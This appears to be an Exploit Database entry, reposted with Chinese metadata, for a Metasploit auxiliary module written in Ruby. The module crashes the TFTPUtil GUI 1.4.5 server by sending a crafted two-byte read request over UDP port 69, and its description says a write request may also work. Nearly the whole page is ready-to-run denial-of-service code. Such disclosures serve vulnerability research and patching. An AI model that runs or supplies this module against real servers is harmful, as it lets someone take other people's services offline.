TFTPUtil GUI 1.4.5 – Denial of Service (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Vuk Ivanovic
  日期： 2010-12-04
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15674/

• # Title: TFTPUtil GUI v1.4.5 Invalid Request DoS
  # CVE-ID: ()
  # OSVDB-ID: ()
  # Author: Vuk Ivanovic
  # Published: 2010-12-04
  # Verified: yes
   
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
   
  ##
  #
  # TFTPGUI v1.4.5 Invalid Request DoS
  #
  # Tested on: Windows XP, SP2 (EN)
  #
  # Date tested: 11/27/2010
  #
  #
  # 
  # Discovered by: Vuk Ivanovic(musashi42)
  # 
  ##
   
  require 'msf/core'
   
  class Metasploit3 < Msf::Auxiliary
   
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos
   
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'TFTPGUI v1.4.5 Invalid Request DoS',
  'Description'=> %q{
  The TFTPUtil GUI server version 1.4.5 can be
  DOSed by sending a specially crafted read request. Depending
  		of the setup, sending write request "\x00\x02" may also
  		work. Discovered by musashi42.
  
  },
  'Author' => 'musashi42',
  'License'=> MSF_LICENSE,
  'Version'=> '$Revision: 2 $',
  'References' =>
  [
  [ 'URL', 'http://www.exploit-db.com/exploits/12482'],
  [ 'URL', 'https://www.securityfocus.com/bid/39872'],
  ],
  'DisclosureDate' => 'December 04 2010'))
   
  register_options([Opt::RPORT(69)])
  end
   
  def run
  connect_udp
  print_status("Sending read request...")
  $stuff = "\00\x01"
  udp_sock.put($stuff) 
  disconnect_udp
  end
  end